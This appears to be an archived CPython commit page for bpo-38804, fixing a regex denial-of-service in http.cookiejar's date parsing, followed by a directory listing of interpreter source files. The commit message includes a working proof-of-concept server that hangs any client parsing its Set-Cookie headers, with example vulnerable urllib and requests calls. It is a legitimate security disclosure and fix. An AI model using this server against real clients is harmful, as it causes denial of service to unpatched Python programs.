Staging
v0.5.1
v0.5.1
https://github.com/python/cpython
Revision cb6085138a845f8324adc011b65754acc2086cc0 authored by Miss Islington (bot) on 22 November 2019, 14:42:13 UTC, committed by GitHub on 22 November 2019, 14:42:13 UTC
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) GH- Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 GH- Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): GH- Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e) Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent d4d7920
Tip revision: cb6085138a845f8324adc011b65754acc2086cc0 authored by Miss Islington (bot) on 22 November 2019, 14:42:13 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
Tip revision: cb60851
File | Mode | Size |
---|---|---|
clinic | ||
stringlib | ||
README | -rw-r--r-- | 41 bytes |
abstract.c | -rw-r--r-- | 66.8 KB |
accu.c | -rw-r--r-- | 2.4 KB |
boolobject.c | -rw-r--r-- | 6.5 KB |
bytearrayobject.c | -rw-r--r-- | 69.2 KB |
bytes_methods.c | -rw-r--r-- | 22.4 KB |
bytesobject.c | -rw-r--r-- | 99.1 KB |
call.c | -rw-r--r-- | 37.2 KB |
capsule.c | -rw-r--r-- | 7.3 KB |
cellobject.c | -rw-r--r-- | 4.4 KB |
classobject.c | -rw-r--r-- | 17.8 KB |
codeobject.c | -rw-r--r-- | 27.3 KB |
complexobject.c | -rw-r--r-- | 32.3 KB |
descrobject.c | -rw-r--r-- | 54.9 KB |
dict-common.h | -rw-r--r-- | 2.2 KB |
dictnotes.txt | -rw-r--r-- | 6.0 KB |
dictobject.c | -rw-r--r-- | 129.1 KB |
enumobject.c | -rw-r--r-- | 13.3 KB |
exceptions.c | -rw-r--r-- | 85.8 KB |
fileobject.c | -rw-r--r-- | 14.9 KB |
floatobject.c | -rw-r--r-- | 71.1 KB |
frameobject.c | -rw-r--r-- | 34.4 KB |
funcobject.c | -rw-r--r-- | 29.5 KB |
genobject.c | -rw-r--r-- | 65.2 KB |
iterobject.c | -rw-r--r-- | 9.0 KB |
listobject.c | -rw-r--r-- | 95.4 KB |
listsort.txt | -rw-r--r-- | 35.3 KB |
lnotab_notes.txt | -rw-r--r-- | 5.7 KB |
longobject.c | -rw-r--r-- | 166.4 KB |
memoryobject.c | -rw-r--r-- | 88.9 KB |
methodobject.c | -rw-r--r-- | 9.1 KB |
moduleobject.c | -rw-r--r-- | 23.3 KB |
namespaceobject.c | -rw-r--r-- | 7.2 KB |
object.c | -rw-r--r-- | 61.7 KB |
obmalloc.c | -rw-r--r-- | 84.3 KB |
odictobject.c | -rw-r--r-- | 73.1 KB |
rangeobject.c | -rw-r--r-- | 34.3 KB |
setobject.c | -rw-r--r-- | 73.2 KB |
sliceobject.c | -rw-r--r-- | 19.0 KB |
structseq.c | -rw-r--r-- | 13.5 KB |
tupleobject.c | -rw-r--r-- | 29.9 KB |
typeobject.c | -rw-r--r-- | 239.8 KB |
typeslots.inc | -rw-r--r-- | 3.9 KB |
typeslots.py | -rwxr-xr-x | 1.2 KB |
unicodectype.c | -rw-r--r-- | 7.5 KB |
unicodeobject.c | -rw-r--r-- | 454.8 KB |
unicodetype_db.h | -rw-r--r-- | 241.6 KB |
weakrefobject.c | -rw-r--r-- | 30.6 KB |
![swh spinner](/static/img/swh-spinner.gif)
Computing file changes ...